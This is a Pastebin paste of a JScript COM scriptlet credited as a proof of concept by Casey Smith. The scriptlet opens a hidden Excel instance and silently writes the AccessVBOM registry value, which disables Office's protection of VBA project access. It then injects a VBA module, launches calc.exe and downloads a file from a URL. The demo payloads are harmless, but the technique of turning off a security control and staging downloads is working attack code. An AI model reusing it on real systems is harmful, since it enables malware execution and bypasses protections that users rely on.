Advertisement
Guest User

Untitled

a guest
Apr 20th, 2019
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.22 KB | None | 0 0
  1. <?XML version="1.0"?>
  2. <scriptlet>
  3. <registration
  4. progid="CalcShellcode"
  5. classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
  6. <!-- Proof Of Concept - Casey Smith @subTee -->
  7. <!-- Orginal Shellcode Example : https://www.scriptjunkie.us/2012/01/direct-shellcode-execution-in-ms-office-macros/ -->
  8. <script language="JScript">
  9. <![CDATA[
  10.  
  11. var objExcel = new ActiveXObject("Excel.Application");
  12. objExcel.Visible = false;
  13. var WshShell = new ActiveXObject("WScript.Shell");
  14. var Application_Version = objExcel.Version;//Auto-Detect Version
  15. var strRegPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + Application_Version + "\\Excel\\Security\\AccessVBOM";
  16. WshShell.RegWrite(strRegPath, 1, "REG_DWORD");
  17. var objWorkbook = objExcel.Workbooks.Add();
  18. var xlmodule = objWorkbook.VBProject.VBComponents.Add(1);
  19. WshShell.Run("calc.exe");
  20.  
  21. var strURL = "http://upload.wikimedia.org/wikipedia/en/b/bc/Wiki.png";
  22. var strFilePath = "wikipedia-logo.png";
  23.  
  24. var oWebClient = new ActiveXObject("System.Net.WebClient");
  25. oWebClient.DownloadFile(strURL, strFilePath);
  26.  
  27.  
  28. objExcel.DisplayAlerts = false;
  29. objWorkbook.Close(false);
  30.  
  31. ]]>
  32. </script>
  33. </registration>
  34. </scriptlet>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement